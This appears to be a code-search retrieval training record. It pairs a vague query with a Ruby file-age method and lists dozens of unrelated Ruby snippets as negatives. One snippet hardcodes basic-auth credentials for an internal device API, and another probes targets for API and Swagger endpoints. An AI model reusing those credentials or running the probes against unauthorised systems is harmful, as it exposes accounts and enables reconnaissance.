"def xing(*args)\n W \"TRY xing\", *args unless Rails.env.test?\n\n oauth = args.extract_options!\n expect! oauth => {\n :oauth_token => String,\n :oauth_token_secret => String,\n :consumer_key => String,\n :consumer_secret => String\n }\n\n client = Xing::Client.new(\n :oauth_token => oauth[:oauth_token],\n :oauth_token_secret => oauth[:oauth_token_secret],\n :consumer_key => oauth[:consumer_key],\n :consumer_secret => oauth[:consumer_secret]\n )\n client.send(*args) unless Rails.env.development?\n \n W \"OK xing\", *args unless Rails.env.test?\n end",
"def test_canvas_api_self\n skip(\"verify tl poweruser id number\")\n refute_nil @w\n request_url = \"/users/self\"\n result_as_json = run_and_get_ruby_result(request_url)\n #logger.debug \"#{self.class.to_s}:#{__method__}:#{__LINE__}: result_as_json: #{result_as_json}\"\n\n #assert_equal \"api-esb-poweruser\", result_as_json['sis_login_id'], \"found tl poweruser\"\n assert_equal 330485, result_as_json['id'], \"found tl poweruser\"\n end",
"def startTest(client, dtype, dname, logid, passw, ttype, tcsno, wifis, build)\n\n\t\t#$dname = client.waitForDevice(\"\\\"@name='#{dname}' AND @remote='true'\\\"\", 300000)\n\t\t@dtype = dtype\n\t\t@dname = dname\n\t\t@logid = logid\n\t\t@passw = passw\n\t\t@ttype = ttype\n\t\t@tcsno = tcsno\n\t\t@wifis = wifis\n\t\t@build = build\n\n\t\tif @ttype == \"select\"\n\t\t\tx = @tcsno.split \",\"\n\t\t\tputs \"::MSG::TCs to be EXECUTED : #{x}\"\n\t\t\t$total_tc = x.length\n\t\telse\n\t\t\t$total_tc = 37\n\t\tend\n\n\t\tif @dtype == \"ios\"\n\t\t\t#temp: code for reserving a remote iOS device\n\t\t\turi = URI('http://10.4.136.3:8081/api/v1/devices')\n\t\t\treq = Net::HTTP::Get.new(uri)\n\t\t\treq.basic_auth 'admin', 'Unext1101'\n\t\t\t#req.basic_auth 'unext-qa', 'Unextqa1'\n\t\t\tres = Net::HTTP.start(uri.hostname, uri.port) {|http|\n\t\t\t http.request(req)\n\t\t\t}\n\t\t\t#Get the device id for the desired device\n\t\t\tapi_result = JSON.parse(res.body)\n\t\t\tdevices_array = api_result[\"data\"]\n\t\t\trequested_device_id = \"\"\n\t\t\t\n\t\t\tdevices_array.each do |device|\n\t\t\t \tif device[\"deviceName\"] == @dname\n\t\t\t\t\trequested_device_id = device[\"id\"]\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\t\t#And now reserve the device\n\t\t\turi = URI('http://10.4.136.3:8081/api/v1/devices/' + requested_device_id + '/reservations/new')\n\t\t\treq = Net::HTTP::Post.new(uri)\n\t\t\treq.basic_auth 'admin', 'Unext1101'\n\t\t\t#req.basic_auth 'unext-qa', 'Unextqa1'\n\t\t\treq.set_form_data('start' => Time.new.strftime(\"%Y-%m-%d-%H-%M-%S\"), 'end' => '2016-12-30-23-00-00', 'clientCurrentTimestamp' => Time.new.strftime(\"%Y-%m-%d-%H-%M-%S\"))\n\t\t\tres = Net::HTTP.start(uri.hostname, uri.port) {|http|\n\t\t\t http.request(req)\n\t\t\t}\n\t\t\tclient.addDevice(\"c24994f50118a6ae9db6a911da628b477a0ba401\", \"ipadair\")\n\t\t\tclient.setDevice(\"#{\"ios_app:\" + @dname}\")\n\t\t\t#client.setDevice(\"#{@dname}\")\n\t\t\t#temp\n\t\t\tclient.openDevice()\n\t\t\tclient.sleep(2000)\n\t\t\t$obj_utili.andConnectingWifi(client, @dtype, @dname, @wifis)\n\t\t\tclient.sleep(2000)\n\t\t\tif @build == nil\n\t\t\t\tputs \"::MSG:: Apps will be using currently installed build\"\n\t\t\telse\n\t\t\t\tputs ($obj_instl.ios_testInstallApps(client, @build))\n\t\t\tend\n\t\t\tclient.launch(\"jp.unext.mediaplayer\", true, false)\n\t\t\tclient.sleep(5000)\n\t\t\t$obj_slctv.iosSelectiveTests(client, @logid, @passw, @ttype, @tcsno)\n\t\telsif @dtype == \"android\"\t\t\t\t\t\t\n\t\t\t#client.setDevice(\"#{$dname}\")\n\t\t\t#client.waitForDevice(\"\\\"@name='#{$dname}' AND @remote='true'\\\"\", 300000)\n\t\t\t#temp: code for reserving a remote iOS device\n\t\t\turi = URI('http://10.4.136.3:8081/api/v1/devices')\n\t\t\treq = Net::HTTP::Get.new(uri)\n\t\t\treq.basic_auth 'admin', 'Unext1101'\n\t\t\t#req.basic_auth 'unext-qa', 'Unextqa1'\n\t\t\tres = Net::HTTP.start(uri.hostname, uri.port) {|http|\n\t\t\t http.request(req)\n\t\t\t}\n\t\t\t#Get the device id for the desired device\n\t\t\tapi_result = JSON.parse(res.body)\n\t\t\tdevices_array = api_result[\"data\"]\n\t\t\trequested_device_id = \"\"\n\t\t\t\n\t\t\tdevices_array.each do |device|\n\t\t\t \tif device[\"deviceName\"] == @dname\n\t\t\t\t\trequested_device_id = device[\"id\"]\t\t\t\t\t\n\t\t\t\tend\n\t\t\tend\n\t\t\t#And now reserve the device\n\t\t\turi = URI('http://10.4.136.3:8081/api/v1/devices/' + requested_device_id + '/reservations/new')\n\t\t\treq = Net::HTTP::Post.new(uri)\n\t\t\treq.basic_auth 'admin', 'Unext1101'\n\t\t\t#req.basic_auth 'unext-qa', 'Unextqa1'\n\t\t\treq.set_form_data('start' => Time.new.strftime(\"%Y-%m-%d-%H-%M-%S\"), 'end' => '2016-12-30-23-00-00', 'clientCurrentTimestamp' => Time.new.strftime(\"%Y-%m-%d-%H-%M-%S\"))\n\t\t\tres = Net::HTTP.start(uri.hostname, uri.port) {|http|\n\t\t\t http.request(req)\n\t\t\t}\n\t\t\tclient.addDevice(\"CB5A233UKX\", \"401SO\")\n\t\t\tclient.setDevice(\"#{@dname}\")\n\t\t\t#temp\n\n\t\t\tclient.openDevice()\n\t\t\tclient.sleep(2000)\n\t\t\t$obj_utili.andConnectingWifi(client, @dtype, @dname, @wifis)\n\t\t\t#CURRENTLY AUTO BUILD FOR ANDROID IS NOT PREPARED, WHEN JENKINS AUTO BUILD WILL BE DELIVERED, TEST CAN BE RESUMED\n\t\t\t#if @build == nil\n\t\t\t#\tputs \"::MSG:: Apps will be using currently installed build\"\n\t\t\t#else\n\t\t\t#\tputs ($obj_instl.testInstallApps(client, @build))\n\t\t\t#end\n\t\t\tclient.launch(\"jp.unext.mediaplayer/jp.co.unext.unextmobile.MainActivity\", true, false)\n\t\t\tclient.sleep(5000)\t\t\t\n\t\t\t$obj_slctv.andSelectiveTests(client, @logid, @passw, @ttype, @tcsno)\t\t\n\t\telse\n\t\t\tputs \"::MSG:: 該当デバイスが見つかりません「Confirm target test devcie」\"\n\t\tend\t\t\n\tend",
"def test_verify\n # Start out unavailabl\n assert_raise(Puppet::Network::InvalidClientRequest) do\n @obj.verify(@request)\n end\n class << @obj\n def available?(req)\n true\n end\n end\n assert_raise(Puppet::Network::InvalidClientRequest) do\n @obj.verify(@request)\n end\n class << @obj\n def authorized?(req)\n true\n end\n end\n assert_nothing_raised do\n @obj.verify(@request)\n end\n end",
"def setupClient!()\n @octo_client = Octokit::Client.new(\n :access_token => apiKey(),\n :api_endpoint => githubAPIEndpoint(),\n :web_endpoint => githubWebEndpoint()\n )\n @octo_client.auto_paginate = true\n end",
"def api_error; end",
"def api_mode; end",
"def test!\n @@api.post(endpoint: self.endpoint + ['test'])\n end",
"def test\n base_url = url_for(path: '')\n logger.debug \"Testing the #{fqdn} fora\"\n client.url = base_url.to_s\n begin\n # this is network library code; it MUST be rescued\n client.perform\n if client.response_code >= 300\n logger.error \"HTTP code not as expected! (#{client.response_code})\"\n end\n rescue => e\n # log the problem and move on\n logger.fatal \"#{e.class}: #{e.message} (#{e.backtrace[0]})\"\n end\n logger.info client.status.to_s\n logger.debug client.header_str.to_s\n # REVIEW: this netcode might need to be rescued\n driver.get base_url.to_s\n logger.info \"#{driver.title} (#{base_url})\"\n logger.debug \"Cookies:\\n\" + cookies.map { |cookie| \"\\t#{cookie[:name]} => #{cookie[:value]}\" }.join(\"\\n\")\n end",
"def test_test_get_institutions()\r\n\r\n # Perform the API call through the SDK function\r\n result = self.class.controller.get_institutions()\r\n\r\n # Test response code\r\n assert_equal(@response_catcher.response.status_code, 200)\r\n\r\n # Test headers\r\n expected_headers = {}\r\n expected_headers['content-type'] = 'application/json'\r\n\r\n assert(TestHelper.match_headers(expected_headers, @response_catcher.response.headers))\r\n end",
"def test_recent_reviews_no_cat\r\n successful_get_test '/recent_reviews'\r\n end",
"def test_FleetRequest_FromSearchPage\n # Navigate to the volvo demo site\n @driver.get $env\n \n #1. Login to the application \n Login($uname, $pwd, \"1.0\") \n \n #2. Perform vehicle search with unit# and verify the search results \n VehicleSearchWithUnit_No(\"222\", \"2\")\n \n #3. Perform service location search with location field and verify the search results\n Search_Service_Location_With_Location(\"Dallas,TX\", \"3\")\n \n #4. Create service request for the searched vehicle and service location and submit the request.\n Create_Service_Request(\"123\",\"Engine failure\", \"Please respond immediately\", \"9876543210\", \"testdriver\", \"9876543210\", \"street1\", \"Dallas\", \"Virginia\", \"4\")\n \n end",
"def test_canvas_api_self\n refute_nil @w\n request_url = \"/users/self\"\n result_as_json = run_and_get_json_result(request_url)\n assert_equal \"api-esb-poweruser\", result_as_json['sis_login_id'], \"found tl poweruser\"\n end",
"def init_client; end",
"def hidden_apis; end",
"def define_client_methods api_version\n\n const_set(:API_VERSION, api_version)\n\n api_config = load_api_config(api_version)\n\n api_config[:operations].each do |operation|\n\n builder = request_builder_for(api_config, operation)\n parser = response_parser_for(api_config, operation)\n\n define_client_method(operation[:method], builder, parser)\n\n end\n end",
"def test_negativeauth\n begin\n fakeclient = ZenDeskAPI.new('http://rateitindia.zendesk.com', \"fake\", \"wrongassword\")\n fakeclient.createticket(\"test ticket\", \"4\", 'Captain Cool', \"alphabar@foobar5.com\")\n rescue RequestFailureException # test for 401\n assert(true) # expected exception\n rescue\n assert(false)\n end\n end",
"def test_index\n assert_response 200\n end",
"def test_no_params()\n\n # Perform the API call through the SDK function\n result = self.class.controller.no_params()\n\n # Test response code\n assert_equal(@response_catcher.response.status_code, 200)\n\n # Test whether the captured response is as we expected\n assert_not_nil(result)\n expected_body = JSON.parse('{\"passed\":true}')\n received_body = JSON.parse(@response_catcher.response.raw_body)\n assert(TestHelper.match_body(expected_body, received_body, check_values: true))\n end",
"def set_api(*args); end",
"def set_api(*args); end",
"def test_basic_pages\n %w{ free lite hardcore ultimate }.each do |page|\n get page\n assert_response :success\n end\n end",
"def test_search_user_unsuccessful\n keyword = \"\"\n expected = 1001\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/search/'+keyword))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def initialize_scanned_client!\n ClientRegistry.instance.global_client('basic')\nend",
"def setup\n raise \"cannot run test without RIOT_KEY set\" unless riotkey = ENV['RIOT_KEY']\n SC.api_key = riotkey\n end",
"def testing\n # ...\n end",
"def test_prepare_request_data\n config = OrderedOptions.new\n config.key1='test-key1'\n config.key2='test-key1'\n config.pos_id=['pos-id', 'POS2']\n connector = PlatnosciPl::Connector.new(config)\n # zmiana widocznosci metody na publiczna\n class<< connector\n public :prepare_request_data\n end\n data = connector.prepare_request_data('no-exists',nil)\n assert_equal 'no-exists', data[:session_id]\n assert_equal 'pos-id', data[:pos_id]\n\n data = connector.prepare_request_data('no-exists2','POS2')\n assert_equal 'no-exists2', data[:session_id]\n assert_equal 'POS2', data[:pos_id]\n end",
"def retrieve_nutritionix_api_data\n unless name.nil?\n api_data = NUTRITIONIX_API.search(name)\n p api_data\n if api_data.blank? || api_data == 'Connection error.'\n return false \n else\n self.ntx_api_nutrition_data = api_data.delete 'fields'\n self.ntx_api_metadata = api_data\n\n if api_data['_score'].to_f < 0.5\n return false \n else\n return true\n end\n end\n end\n end",
"def test\n client = Google::APIClient.new(:application_name => \"supress\")\n connection = Fog::Compute.new(:provider => \"Google\", :google_client => client)\n\n begin\n p connection.client.discovered_apis\n p connection.servers\n rescue StandardError => e\n p e.message\n end\nend",
"def api_only=(_arg0); end",
"def test_firecloud_api_status\n status = @fire_cloud_client.api_status\n assert status.is_a?(Hash), \"Did not get expected status Hash object; found #{status.class.name}\"\n assert status['ok'].present?, 'Did not find root status message'\n assert status['systems'].present?, 'Did not find system statuses'\n # look for presence of systems that SCP depends on\n services = [FireCloudClient::RAWLS_SERVICE, FireCloudClient::SAM_SERVICE, FireCloudClient::AGORA_SERVICE,\n FireCloudClient::THURLOE_SERVICE, FireCloudClient::BUCKETS_SERVICE]\n services.each do |service|\n assert status['systems'][service].present?, \"Did not find required service: #{service}\"\n assert [true, false].include?(status['systems'][service]['ok']), \"Did not find expected 'ok' message of true/false; found: #{status['systems'][service]['ok']}\"\n end\n end",
"def api_only=(_); end",
"def test_overly_specific\n make_controller :overly_specific\n get :index\n assert_response :success\n get :secret_ferret_brigade\n assert_protected\n end",
"def test_does_not_add_via_header\n response = Typhoeus.get(\"http://127.0.0.1:9080/api/info/\", http_options)\n assert_response_code(200, response)\n data = MultiJson.load(response.body)\n refute(data[\"headers\"][\"via\"])\n end",
"def test_get_index\n get :index\n assert_response :success\n end",
"def test_should_create_project_via_API_XML\r\n get \"/logout\"\r\n post \"/projects.xml\", :api_key=>'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n end",
"def test_valley_smoketest\n @driver.get(@base_url)\n verify_home_page()\n verify_services_page()\n verify_about_page()\n verify_contact_page()\n verify_faq_page()\n verify_links_page()\n end",
"def test_get_multiple\n urls = []\n 10.times{ |i| urls << URI.join(@url, \"/echo/#{i}\") }\n ret = Bixby::APIPool.get(urls, \"test\")\n\n assert ret\n assert_kind_of Array, ret\n assert_equal 10, ret.size\n\n 10.times do |i|\n assert_equal \"echo #{i}\", ret[i].body\n end\n end",
"def test_show_user_info_unsuccessful\n user_id = \"wrong-id\"\n expected = 2004\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/'+user_id))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_search_user_successful\n keyword = \"anh\"\n expected = 200\n response = Net::HTTP.get(URI.parse('http://localhost:3000/v1/users/search/'+keyword))\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_should_get_index \n get :index\n assert_response :success #making sure the request was successful\n assert_not_nil (:products) # ensuring that it assigns a valid products instance variable.\n end",
"def run\n super\n\n # start with negative\n api_endpoint = nil\n api_reason = nil\n\n require_enrichment\n\n # get our url\n url = _get_entity_name\n\n ###\n # First just check our fingerprint, lots of stuff will already have been\n # fingerprinted during our ident run\n ###\n (_get_entity_detail(\"fingerprint\") || []).each do |fp|\n api_endpoint = true if fp[\"tags\"] && fp[\"tags\"].include?(\"API\")\n api_reason = \"fingerprint\"\n end\n\n # first get a standard response\n standard_response = http_request :get, url\n return unless standard_response\n\n ####\n # next just check keywords in the url, but of course, sanity check this.\n ###\n if ( url.match(/api\\./) ||\n url.match(/apis\\./) ||\n url.match(/\\/api/) ||\n url.match(/\\/json/) ||\n url.match(/\\.json/) ||\n url.match(/\\.xml/) ||\n url.match(/skiptoken/) ||\n url.match(/\\/restapis/) )\n\n unless (\n url.match(/googleapis/) ||\n url.match(/\\.amazonaws\\.com/) ||\n standard_response.body_utf8.match(/^<HTML>/i) ||\n standard_response.body_utf8.match(/HTTP Status 404/i) ||\n standard_response.body_utf8.match(/NoSuchBucket/i) ) \n api_endpoint = true\n api_reason = \"url\"\n end\n\n end\n\n ###\n ### If we made it this far, and our base url matches, just return that\n if api_endpoint\n _create_api_endpoint(url, url, api_reason)\n return # return if our base URL was an endpoint\n end\n\n ####\n # otherwise check patterns in / around the original\n ####\n\n # always start empty\n api_endpoint = nil\n\n [\n \"#{url}\",\n \"#{url}/api\",\n \"#{url}/api/v1\",\n \"#{url}/api/v2\",\n \"#{url}/api/v3\",\n \"#{url}/docs\",\n \"#{url}/graphql\",\n \"#{url}/api-docs\",\n \"#{url}/api-docs/swagger.json\",\n \"#{url}/api/swagger\",\n \"#{url}/api/swagger-ui.html\",\n \"#{url}/api/swagger.yml\",\n \"#{url}/api/v2/swagger.json\",\n \"#{url}/apidocs\",\n \"#{url}/apidocs/swagger.json\",\n \"#{url}/rest\",\n \"#{url}/swagger\",\n \"#{url}/swagger/\",\n \"#{url}/swagger-resources\",\n \"#{url}/swagger-ui\",\n \"#{url}/swagger-ui.html\",\n \"#{url}/swagger.json\",\n \"#{url}/swagger/index.html\",\n \"#{url}/swagger/swagger-ui.html\",\n \"#{url}/swagger/ui/index\",\n \"#{url}/swagger/v1/swagger.json\",\n \"#{url}/v1/swagger.json\"\n ].each do |u|\n\n _log \"Checking... #{u}\"\n\n # Go ahead and get the response for this paritcular endpoint\n\n response = http_request :get, u\n\n next unless response\n # skip if we're not the original url, but we're getting the same response\n\n next if u != url && response.body_utf8 == standard_response.body_utf8\n\n ###\n ### Check for known strings\n ###\n if (response.body_utf8.match(/swagger-section/) ||\n response.body_utf8.match(/swaggerhub.com/) ||\n response.body_utf8.match(/soapenv:Envelope/) )\n # break and create it\n api_reason = \"response_body\"\n api_endpoint = u\n break\n end\n\n # check for content type of application.. note that this will flag\n # application/javascript, which is probably not wanted\n headers = standard_response.headers\n if headers\n ct = headers.find{|x, y| x if x =~ /^content-type/i }\n if ct\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/xml/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/json/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/ld+json/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/x-protobuf/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/octet-stream/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^text\\/csv/i)\n\n # break and create it\n if api_endpoint\n api_reason = \"content_type\"\n break\n end\n\n end\n end\n\n ###\n # try to parse it (JSON)\n ###\n begin\n # get request body\n body = standard_response.body_utf8\n if body\n json = JSON.parse(body)\n\n if json\n # now check for common error scenarios, and proceed if we pass\n break if json.kind_of?(Hash) && \n ((standard_response.code == \"404\" && json[\"error\"] == \"Not Found\") ||\n (standard_response.code == \"404\" && json[\"response\"] == \"Content was not found.\"))\n \n # create it as an api endpoint\n api_endpoint = u\n api_reason = \"json_body\"\n break\n end\n\n end\n rescue JSON::ParserError\n _log \"No body!\"\n end\n\n # check known fingeprints\n _log \"Attempting to fingerprint (without the browser)!\"\n ident_matches = generate_http_requests_and_check(u,{:enable_browser => false, :'only-check-base-url' => true}) || {}\n ident_fingerprints = ident_matches[\"fingerprint\"] || []\n ident_fingerprints.each do |fp|\n api_endpoint = u if fp[\"tags\"] && fp[\"tags\"].include?(\"API\")\n # break if it's been set so we dont genereate a bunch of FP's\n if api_endpoint\n api_reason = \"fingerprint\"\n break\n end\n end\n end\n\n ###\n ### Okay now that we're at the end, do we have an endpoint?!?\n ###\n\n # set the details and create a new entity if we made it this far!\n if api_endpoint\n _create_api_endpoint(url, api_endpoint, api_reason)\n else\n _set_entity_detail \"api_endpoint\", false\n end\n\n end",
"def test_new_creates_something\n @response = CToolsDirectResponse.new(@@empty_response, Hash.new)\n refute_nil @response, \"get connector object\"\n refute_nil @@testFileDir, \"locate test file directory\"\n end",
"def test_nodes\n node1 = create(:node)\n node2 = create(:node, :deleted)\n node3 = create(:node)\n node4 = create(:node, :with_history, :version => 2)\n node5 = create(:node, :deleted, :with_history, :version => 2)\n\n # check error when no parameter provided\n get :nodes\n assert_response :bad_request\n\n # check error when no parameter value provided\n get :nodes, :params => { :nodes => \"\" }\n assert_response :bad_request\n\n # test a working call\n get :nodes, :params => { :nodes => \"#{node1.id},#{node2.id},#{node3.id},#{node4.id},#{node5.id}\" }\n assert_response :success\n assert_select \"osm\" do\n assert_select \"node\", :count => 5\n assert_select \"node[id='#{node1.id}'][visible='true']\", :count => 1\n assert_select \"node[id='#{node2.id}'][visible='false']\", :count => 1\n assert_select \"node[id='#{node3.id}'][visible='true']\", :count => 1\n assert_select \"node[id='#{node4.id}'][visible='true']\", :count => 1\n assert_select \"node[id='#{node5.id}'][visible='false']\", :count => 1\n end\n\n # check error when a non-existent node is included\n get :nodes, :params => { :nodes => \"#{node1.id},#{node2.id},#{node3.id},#{node4.id},#{node5.id},0\" }\n assert_response :not_found\n end",
"def test_articlerss\n get :articlerss, :id => 1 \n assert_response :success\n assert_nothing_raised do\n assert REXML::Document.new(@response.body)\n end\n end",
"def test_connection\n end",
"def test_read_all_info\n get '/v1/read_all?data=eyJOYW1lIjogIkVkdWFyZG8iLCAiQ291bnRyeSI6ICJCcmF6aWwiIH0%3D'\n assert last_response.ok?\n assert last_response.body.include?('Eduardo')\n assert last_response.body.include?('Brazil')\n end",
"def shodan_test\n\n if API_SHODAN.empty?\n puts \"[+] Set your api key ! \\n get a free on at [ https://www.shodan.io/ ]\"\n end\n\n client = Shodanz.client.new(key: @api)\n url_api_shodan = \"https://api.shodan.io/api-info?key=#{@api}\"\n\n ## verify shodancreds\n uri = URI.parse(url_api_shodan)\n response = Net::HTTP.get_response(uri)\n if response.code != \"200\"\n puts \"[+] Something is wrong with your api key shodan \\n\".red\n puts \"[-] Error api key => #{response.code}\".red\n end\n end",
"def run\n super\n\n #\n # This module currently uses the Free API (rate limited / response limited)\n # https://freeapi.robtex.com/ipquery/#{search_ip}\n #\n # Note that a paid version (free up to 10k queries / month) of the API is available at:\n # https://market.mashape.com/robtex/robtex\n #\n\n # Check Robtex API & create entities from returned JSON\n search_ip = _get_entity_name\n search_uri = \"https://freeapi.robtex.com/ipquery/#{search_ip}\"\n\n begin\n details = JSON.parse(http_get_body(search_uri))\n _log \"Got details: #{details}\"\n\n #status\n # Should be \"ok\"\n unless details[\"status\"] == \"ok\"\n _log_error \"Unable to continue\"\n return\n end\n\n #act\n # Active (forward) DNS\n if details[\"act\"]\n details[\"act\"].each do |forward_lookup|\n _create_entity \"DnsRecord\",{\n \"name\" => forward_lookup[\"o\"],\n \"time\" => \"#{Time.at(forward_lookup[\"t\"])}\"\n }\n end\n end\n\n #pas\n # Passive (reverse) DNS\n if details[\"pas\"]\n details[\"pas\"].each do |reverse_lookup|\n _create_entity \"DnsRecord\",{\n \"name\" => reverse_lookup[\"o\"],\n \"time\" => \"#{Time.at(reverse_lookup[\"t\"])}\"\n }\n end\n end\n\n #pash\n # Passive DNS history\n # TODO\n\n #acth\n # Active DNS history\n # TODO\n\n #as\n # Autonomous System Number\n if details[\"as\"]\n _create_entity \"AsNumber\",{\n \"name\" => \"AS#{details[\"as\"]}\",\n \"as_name\" => details[\"asname\"],\n \"as_desc\" => details[\"asdesc\"]\n }\n end\n\n # Netblock\n #\n if details[\"bgproute\"]\n _create_entity \"NetBlock\",{\"name\" => \"#{details[\"bgproute\"]}\"}\n end\n\n rescue JSON::ParserError => e\n _log_error \"Unable to get parsable response from #{search_uri}: #{e}\"\n rescue StandardError => e\n _log_error \"Error grabbing robtex details: #{e}\"\n end\n\n\n end",
"def api_keys; rest_query(:api_key); end",
"def api_keys; rest_query(:api_key); end",
"def test_everything\n results = @nirvana.everything\n keys = []\n results.each do | obj |\n keys << obj.keys.to_s\n end\n assert keys.include? \"user\"\n assert keys.include? \"task\"\n end",
"def integration_test()\n return [\"all\"]\n end",
"def smoke_test ()\n\n smoke_test = [\"rest_get\"]\n return smoke_test\n end",
"def FIXME_test_should_raise_exception_if_we_get_bogus_certificate_in_api_response\n CONFIG[\"experian\"][\"host\"] = \"www.experian.com\"\n CONFIG[\"experian\"][\"path\"] = \"/lookupServlet1?lookupServiceName=AccessPoint&lookupServiceVersion=1.0&serviceName=NetConnect&serviceVersion=0.2&responseType=text/plain\"\n EXPERIAN[:accept_responses] = true\n \n user = User.new(\n :first_name => \"Lorna\",\n :last_name => \"Rodriguez-Medina\",\n :ssn => \"897781853\",\n :phone => \"9035452514\",\n :address1 => \"2510 JO LYN LN\",\n :city => \"ARLINGTON\",\n :state_province => \"TX\",\n :postal_code => \"76014\",\n :dob => Date.new(1933,1,1))\n\n assert_raise InvalidExperianUrl do\n experian = Experian::Service.new(user)\n experian.check_user\n end\n end",
"def test_WAPI_do_request_rest_client_error_417\n\n\n stub_request(:get, \"https://start/hey\").\n with(:headers => {'Accept' => 'application/json', 'Accept-Encoding' => 'gzip, deflate', 'Authorization' => 'Bearer sweet!'}).\n to_return(:status => 417, :body => \"\", :headers => {})\n\n a = Hash['api_prefix' => \"https://start\",\n 'key' => 'key',\n 'secret' => 'secret',\n 'token_server' => 'nowhere.edu',\n 'token' => 'sweet!'\n ]\n h = WAPI.new(a);\n\n r = h.do_request(\"/hey\")\n\n assert_equal(r.meta_status, 666, \"didn't get wrapped exception\")\n\n end"
] |
[
"0.6492589",
"0.6174731",
"0.6107737",
"0.6079551",
"0.6062778",
"0.6040521",
"0.6040521",
"0.60344553",
"0.6019894",
"0.6005491",
"0.59881204",
"0.5984419",
"0.59623224",
"0.5918656",
"0.58807135",
"0.58807135",
"0.5863611",
"0.5861292",
"0.5843076",
"0.5823098",
"0.5811425",
"0.5800804",
"0.5800804",
"0.5800804",
"0.5768583",
"0.5751333",
"0.57398176",
"0.57364243",
"0.5734063",
"0.5733122",
"0.57197183",
"0.5712941",
"0.5700669",
"0.5700669",
"0.5677705",
"0.56773144",
"0.56649566",
"0.56521785",
"0.5634444",
"0.56217456",
"0.55997",
"0.55852354",
"0.55835295",
"0.55816996",
"0.5576365",
"0.55643946",
"0.5563768",
"0.5544946",
"0.5544081",
"0.55418384",
"0.5541413",
"0.5533418",
"0.5531746",
"0.55269194",
"0.5512176",
"0.55100137",
"0.5494956",
"0.5470369",
"0.54690444",
"0.54686207",
"0.54578143",
"0.5456526",
"0.545449",
"0.544999",
"0.544999",
"0.5447491",
"0.5445415",
"0.54425913",
"0.54425913",
"0.5442207",
"0.54409957",
"0.54358804",
"0.54332364",
"0.54204077",
"0.54179966",
"0.54074097",
"0.5398512",
"0.5398206",
"0.539644",
"0.5387768",
"0.53871155",
"0.538599",
"0.53856105",
"0.5369981",
"0.5369148",
"0.5360497",
"0.5360012",
"0.5356314",
"0.5353646",
"0.53526294",
"0.53511757",
"0.5347542",
"0.5342247",
"0.53414875",
"0.533062",
"0.533062",
"0.5326404",
"0.5325147",
"0.5323433",
"0.53212607",
"0.5317813"
] |
0.0
|
-1
|
This is for veda
|
def age_of_file
create_date = get_hash("file-creation-date")["file_creation_date"]
return nil unless create_date.present?
now = DateTime.now
create_date = create_date.to_date
(now.year * 12 + now.month) - (create_date.year * 12 + create_date.month)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def verdi; end",
"def\n \nend\n\n\n# 6. sentence_maker refactored solution",
"def terpene; end",
"def termsig(*) end",
"def formation; end",
"def villian; end",
"def dv; end",
"def term; end",
"def vin; end",
"def qv\n end",
"def trd; end",
"def completed_text_extraction\n end",
"def initialize(text)\n\n tagger_model = \"pt-pos-perceptron.bin\"\n if tagger_model == \"pt-pos-maxent.bin\"\n @article_tags = ['ART']\n @verb_tags = ['V']\n @auxiliary_verb_tags = ['VAUX']\n @participle_tags = ['PCP']\n @noun_tags = ['N', 'NPROP']\n @adjective_tags = ['ADJ']\n @adverb_tags = ['ADV', 'ADV-KS' 'ADV-KS-REL']\n @pronoun_tags = ['PROPESS', 'PROSUB', 'PROADJ', 'PRO-KS', 'PRO-KS-REL', ]\n @numeral_tags = ['NUM']\n @conjunction_tags = ['KS', 'KC']\n @preposition_tags = ['PREP', 'PREP+PROPESS', 'PREP+ART']\n @interjection_tags = ['IN']\n @denotative_word_tags = ['PDEN']\n @content_word_tags = @verb_tags + @noun_tags + @adjective_tags + @adverb_tags\n @function_word_tags = @article_tags + @preposition_tags + @pronoun_tags + @conjunction_tags + @interjection_tags\n\n @functions_as_noun_tags = ['N', 'NPROP', 'PROSUB']\n @functions_as_adjective_tags = ['ADJ', 'PROADJ']\n @punctuation_tags = ['PU']\n else\n @article_tags = ['art']\n @finito_tags = ['v-fin']\n @infinitive_tags = ['v-inf']\n @participle_tags = ['v-pcp']\n @gerundio_tags = ['v-ger']\n @noun_tags = ['n', 'prop']\n @adjective_tags = ['adj', 'n-adj']\n @adverb_tags = ['adv']\n @pronoun_tags = ['pron-pers', 'pron-indp']\n @denotative_word_tags = ['pron-det']\n @numeral_tags = ['num']\n @preposition_tags = ['prp']\n @conjunction_tags = ['conj-s', 'conj-c']\n @interjection_tags = ['intj']\n @punctuation_tags = ['punc']\n @functions_as_noun_tags = ['n', 'nprop']\n @functions_as_adjective_tags = ['adj', 'n-adj']\n @verb_tags = @finito_tags + @infinitive_tags + @participle_tags + @gerundio_tags\n @content_word_tags = @verb_tags + @noun_tags + @adjective_tags + @adverb_tags\n @function_word_tags = @article_tags + @preposition_tags + @pronoun_tags + @conjunction_tags + @interjection_tags\n end\n\n @tagger = OpenNLP::POSTaggerME.new(tagger_model)\n @tokenizer = OpenNLP::TokenizerME.new(\"pt-token.bin\")\n\n @tokens = @tokenizer.tokenize(text.gsub(/(\\p{Punct})/,\" \\\\1 \"))\n @part_of_speech = @tagger.tag(@tokens).to_a\n end",
"def suivre; end",
"def private; end",
"def eplore\n end",
"def tld; end",
"def tld; end",
"def emotional_adjective; end",
"def wookie_sentence; end",
"def motto; end",
"def pa\n return VasmGrammar.new, VasmTransform.new\nend",
"def england\n end",
"def poem; end",
